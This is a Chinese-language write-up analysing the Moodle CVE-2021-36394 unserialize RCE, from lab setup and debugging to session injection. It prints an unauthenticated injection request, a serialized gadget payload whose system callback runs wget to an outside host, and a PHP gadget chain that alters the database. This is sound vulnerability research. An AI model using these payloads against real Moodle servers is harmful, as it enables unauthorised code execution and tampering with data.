CVE-2021-36394-Moodle RCE漏洞分析及PHP反序列化利用鏈構造之旅
漏洞概述
2021年7月19日,Moodle官方通報了CVE-2021-36394漏洞信息,當Shibboleth認證模塊開啟時,Moodle v3.11及之前版本可無條件RCE。
官方漏洞通報
https://moodle.org/mod/forum/discuss.php?d=424799

環境搭建
0x01 系統安裝
基于Ubuntu v20.04安裝v3.9.7版本。安裝 `apache + mysql + php`:
sudo apt-get updatesudo apt install apache2 mysql-client mysql-server php libapache2-mod-phpsudo apt install graphviz aspell ghostscript clamav php7.4-pspell php7.4-curl php7.4-gd php7.4-intl php7.4-mysql php7.4-xml php7.4-xmlrpc php7.4-ldap php7.4-zip php7.4-soap php7.4-mbstring php7.4-mysqlisystemctl restart apache2
配置moodle系統:
unzip moodle-3.9.7.zipsudo cp -R moodle /var/www/html/sudo mkdir /var/moodledatasudo chown -R www-data /var/moodledatasudo chmod -R 777 /var/moodledatasudo chmod -R 0755 /var/www/html/moodle
配置數據庫:
CREATE DATABASE moodle DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;create user 'moodledude'@'localhost' IDENTIFIED BY '***';GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,CREATE TEMPORARY TABLES,DROP,INDEX,ALTER ON moodle.* TO 'moodledude'@'localhost';flush privileges;
瀏覽器安裝:

配置數據庫:

配置config.php文件:


繼續配置頁面:

安裝完成后頁面:

0x02 PHPSTORM調試
在ubuntu上安裝`Phpstorm + xdebug`進行本地調試,也可以選擇遠程調試,編譯php7.4版本下的xdebug,首先從xdebug官網下載3.0.4版本:
sudo -s apt-get install php7.4-dev make autoconftar -xzvf xdebug-3.0.4.tgzcd xdebug-3.0.4phpize7.4./configuremakecp libs/xdebug.so /usr/lib/php/20190902/xdebug.so
配置php.ini xdebug配置,目錄為`/etc/php/7.4/apache2/conf.d/20-xdebug.ini`:
zend_extension=xdebug.soxdebug.mode=debugxdebug.log=/tmp/xdebug.logxdebug.start_with_request=default|defaultxdebug.client_port=9003xdebug.client_host=127.0.0.1xdebug.remote_handler=dbgpxdebug.idekey=PHPSTORMxdebug.cli_color=2xdebug.var_display_max_depth=15xdebug.var_display_max_data=2048xdebug.client_host=127.0.0.1
配置phpstorm xdebug端口:

開啟phpstorm監聽:

安裝firefox xdebug插件:

PHP調試成功:

漏洞分析
補丁對比:

漏洞需啟用moodle頁面:

0x01 調用過程分析
`/auth/shibboleth/logout.php`首先檢查shiboleth是否開啟:

注冊監聽方法:

在`LogoutNotification`中調用`logout_file_session`函數:

在`logout_file_session`中調用`unserializesession`:

最后執行`unserialize`函數:

0x02 `unserialize`分析
`/auth/shibboleth/logout.php`請求為soap格式:

用WSDL工具生成合法的soap請求:

構造soap請求,執行到反序列化流程,執行到`unserializesession`函數:

分析`unserializesession`函數:
- 使用`preg_spit`函數按照|切分輸入字符串,并賦值;
- `serialized`為反序列化后的內容,根據php序列化規則可知字符串用雙引號閉合;
- 如果字符串中包括|,根據|切分規則導致`unserialize`問題。

截取到的`seaializedString`字符串,需要尋找可控的變量。刪除`/var/www/moodledata/sessions`下所有session。獲取一個新的cookie。

發送`logout.php`請求。

在反序列化處下斷點,內容正好是`/var/www/moodledata/sessions/sess_2m3ft4k2fnuafi3c3ir79l5i7g`文件內容。

經過分析發現`grade/report/grader/index.php`支持session內容注入。注入Referer字段,由clean_param過濾結果。

共有兩處設置SESSION的位置,`get_local_refer`有特殊字符過濾。

使用正則表達式匹配Referer字段。
^((http://)|(https://)|(ftp://))?(([a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2})|[;&=+$,])+(:([a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2})|[;:&=+$,])+){0}@){0}((((((2(([0-4][0-9])|(5[0-5])))|([01]?[0-9]?[0-9]))\.){3}((2(([0-4][0-9])|(5[0-5])))|([01]?[0-9]?[0-9]))))|(([a-zA-Z0-9](([a-zA-Z0-9-]{0,62})[a-zA-Z0-9])?\.)*([a-zA-Z](([a-zA-Z0-9-]*)[a-zA-Z0-9])?)))?(:(([0-5]?[0-9]{1,4})|(6[0-4][0-9]{3})|(65[0-4][0-9]{2})|(655[0-2][0-9])|(6553[0-5])))?(/((;)?([a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2})|[:@&=+$,])+(/)?)*)?(\?([;/?:@&=+$,]|[a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2}))*)?(\#([;/?:@&=+$,]|[a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2}))*)?$
0x03 寫入特殊字符
全文搜索`SESSION->(.*?) =`正則表達式,定位可寫入SESSION的位置,發現`grader/index.php`可寫入變量,且`sifirst`和`silast`參數過濾類型為`PARAM_NOTAGS`。

構造測試報文。
POST /moodle/grade/report/grader/index.php HTTP/1.1Host: ***User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: MoodleSession=0brdqm753n29k6mppdtkp1ocld; XDEBUG_SESSION=XDEBUG_ECLIPSESOAPAction: "urn:xmethods-logout-notification#LogoutNotification"Content-Length: 37Content-Type: application/x-www-form-urlencoded id=1&page=1&edit=0&sifirst=abc123"'abc'
捕獲斷點,該接口無需認證也能訪問。

最后檢查session會話文件,其中包含單雙引號。

另外的一個點,`/mod/data/view.php`,有可能同樣可以繞過,需要先構造測試數據(但需要登錄)。

現在可以控制`unserialize`函數的輸入參數,實現RCE還需要尋找一條利用鏈。
反序列化利用鏈構造
0x01 CVE-2018-14630調試
先調試下歷史漏洞CVE-2018-14630:
Remote Code Execution Via PHP Unserialize In Moodle (Cve-2018-14630)
https://sec-consult.com/vulnerability-lab/advisory/remote-code-execution-php-unserialize-moodle-open-source-learning-platform-cve-2018-14630/


參考上一章中的示例報文,排除錯誤,進一步進行修改。
id=1&page=1&edit=0&sifirst="}}FEEDBACK|O:15:"\core\lock\lock":2:{s:3:"key";O:23:"\core_availability\tree":1:{s:8:"children";O:24:"\core\dml\recordset_walk":2:{s:8:"callback";s:6:"system";s:9:"recordset";O:25:"question_attempt_iterator":2: {s:4:"quba";O:26:"question_usage_by_activity":1:{s:16:"questionattempts";a:1:{s:4:"1337";s:37:"echo `wget http://192.168.1.241:8000`";}}s:5:"slots";a:1:{i:0;i:1337;}}}}s:8:"infinite";i:1;}TEST|O:2:"xx":2:{s:2:"id
進入`lib/classes/component.php的classloader`函數。
第一步:從`self::classmap`和`self::classmaprenames`中匹配輸入的`className`輸入,使用白名單方式。


第二步:調用`psr_classloader`函數,解析成功后直接文件包含,同樣使用白名單方式。


`CVE-2018-14630`反序列化利用鏈中已不包含`question_attemp_iterator`,解析失敗后HTTP報文返回。
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Serverfaultcode><faultstring>core\dml\recordset_walk::valid(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "question_attempt_iterator" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definitionfaultstring>SOAP-ENV:Fault>SOAP-ENV:Body>SOAP-ENV:Envelope>
對比3.9.7和3.9.8版本補丁,修補后只允許stdClass函數。

`recordset_walk`中包含危險函數調用。

0x02 新鏈尋找之旅
梳理下尋找過程,從以下條件出發:
- 從反序列化魔法函數入手,由于`logout_file_session`函數傳入字符沒有進行字符串操作,因此不用尋找包含`__tostring()`函數的類。
- Moodle默認從`/*/classes/*/`中讀取類,因此文件需在class文件夾中。
- 能夠調用或文件包含`/*/classes/*/`的其他類,如`include`、`require`。
- 根據以上條件,優先從`__deconstruct`函數入手。
優先找到了lock類,其析構函數包含字符串處理代碼。在lock構造函數中設置caller。

接下來繼續尋找第二部分,猜測`$this->caller`指向利用鏈的第二部分,繼續在代碼中搜索包含`__tostring()`的類。參考CVE-2017-2641利用鏈構造。
/lib/grade/grade_grade.php <- /lib/gradelib.php <- /analytics/classes/course.php <- \core_analytics\course(\core_analytics\course ->>包含->> /lib/grade/grade_grade.php ->>調用->> \grade_grade) /lib/grade/grade_item.php <- /lib/gradelib.php <- /analytics/classes/course.php <- \core_analytics\course(\core_analytics\course ->>包含->> /lib/grade/grade_item.php ->>調用->> \grade_item
最終的利用鏈形式,可實現修改數據庫。
$add_lib = new \core_analytics\course();$lib_fb = new \core\lock\lock();$lib_fb -> key = new \core_availability\tree();$lib_fb -> key -> children = new \core\dml\recordset_walk();$lib_fb -> key -> children -> callback = "var_dump";$lib_fb -> key -> children -> recordset = "123";$lib_fb -> released = false; $base = new gradereport_overview_external();$fb = new gradereport_singleview\local\ui\feedback();$fb -> grade = new grade_grade();$fb -> grade -> grade_item = new grade_item();$fb -> grade -> grade_item -> calculation = "[[somestring";$fb -> grade -> grade_item -> calculation_normalized = false;$fb -> grade -> grade_item -> table = $table;$fb -> grade -> grade_item -> id = $rowId;$fb -> grade -> grade_item -> $column = $value;$fb -> grade -> grade_item -> required_fields = array($column,'id'); $lib_fb -> caller = $fb;$arr = array($add_lib, $lib_fb,$base); //serializing the array$value = serialize($arr);
系統安裝后默認包含一個管理用戶,默認用戶名為admin,可修改用戶名。


至此,反序列化利用鏈尋找之旅暫告一段落。